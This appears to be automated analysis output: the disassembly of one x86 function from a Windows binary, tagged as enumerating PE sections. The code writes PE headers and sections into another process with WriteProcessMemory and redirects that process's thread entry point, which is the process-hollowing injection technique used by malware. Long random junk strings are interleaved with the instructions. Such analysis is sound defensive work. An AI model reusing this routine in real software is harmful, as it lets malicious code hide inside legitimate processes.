Function at 0x406eb0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415200
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x24
push ebx
push esi
push edi
mov eax, dword [0x44a1d8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], str.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
push 0x41c4ec
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 0x24]
call eax
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x44b320]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x406f2f
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x406f8e
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], str.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
mov dword [ebp - 0x2c], str.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
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x44b320]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x406f26
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x44b320]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x30], str.mXl9k0LQtYl8Rno9SYXIoKEfWECNhrPAyNu7bdfKmgLmxqEojALoCFv7reFpIVPD2dhnFpbJ9tphKL9wgGeET6TBtJm16jnmOCKsgcpg25shnXxnxE8ENrKHNkmm8F0NXQTDehskNsA1weII1faiKgHSM5NvVOq1F7DWFxxpRPTqJoMmFBYh3f4ajThJT8A6b1ReuYBxamXFNU1avke1LeS4TFPELHF7Myq1tLggc4MeSXTWEirJOaRCA4W4BcXbV65GcbQA7QPOshaBjS9oWbup3Iz6MX4p4qCk3Dp7zx3plhGYJMPKKxQsu9763XHVLHIOiKGSRPLhEYz0h7UjBBNoJJeHCBpysIVO8bSJNg3bh3tHom8TPXQtuwgSnnilDYxxiDzAHNUQEfhFYKmcO7hVXxixY1E10Uppp0QGIPGfyPbkjOQn0CAUxf3C8qNCIMQiHTNUhPD1a7plp6dNRiyGh5MY0KrRaSdsoLllvNzH6CAXw97aPFMAR5qnbqw7WyXyDKh8efUKsaA65xhyi3H9JJosK8okQ7EEyOaDXaEvLNEkJSxtBwz036IIdOH9RUSaeFqkW8nb2SlOkLOO2UsWCH1ByIqOcklVDMkN8bdSH1zqTO4QQPhUYCtqbkRgfHNaNpUO9RTDE4xCHEleeFM0npRnXnE0Bs6uBw8ikkJlg9NvdXN1lyxnKcwxfTKf51bTWVGeI7AKkHeQ5oEFinWrLymTNasOGL2MF98N5mWz6m13aCb18PcEKCSlSIocEbJUytSlRHPli3I9vlLgSlnFL3bC9ousnGtujY7jdhQy50cNpiQ4u6mgy0TnKg3nuMr3FvUiYLex4ECllcXpT5QlB7haiFDkNW0yfF81KlIwkJwKWNHHX2nY4A7qNedmlHvmENtnLHFEngJB8QLJwqjmN9OtNN17lxsbs3so131Xdtr8X8TFkwPOn0lwfxEVe0oa8jsd97gkgS9fJrW68o0P4ReHwR2KEDVO9fD8x8uzojEsVAOYCMC3vnwR1x4EkTlOKynHR7ULbEYaAwiXxxeHWRNydK0n0HfGzL0STmIxMiAGDhX5P1b3GxkDsw9HSJ8pgFmq8fPxL8huoJBkEoAKFWsT0VnK0V22AQTtvpPwgDW1EBavoqH0mjtylqbQnknC4MeOw4cGGGcXbG3ocIWJInyihIFw2Y18XI4181hGEpceMR1FYJSAfsIfOUEx458vkLhfQCjD8kMSh7d1qHaQWuV0ipwOwRlDYRStHQr7hfteuqd2WKEAmX1AgWlvuFCltJ2jdfG6yknKiWUjMLjwvWHvyBMW6RnsaY07pS05G3f9vRGkTvf6V5BHjJdGrXnGb2fSSs9YFcuk3GuUQGG8bOVB6YiYPSHM1rp0JTqcRzmrA8ClVqVDCNKaQwYuqN4YBzgtwYON26hJmwg0QMaHTNTboDCTQoJpH421nDyOoEutmaktRMX9iaBtk8vrFr3x8OyH2rYJQBhVoQ3DPHWNvcNKmsqWndzdiUGHBWbTr3qY8LRKgXIBBceulQFOjnaxjEieDD0rmKg47CyljeTA4mn0i941J6X2SyfB2Y4nUdBbNw5jMl9QKSutmYX6NXkrojtd6mLwADNVx2JR7m7zUSBROCcdx3VUPOSvxagwXUHuyd3xnytYbrvY5
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x406ffa
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14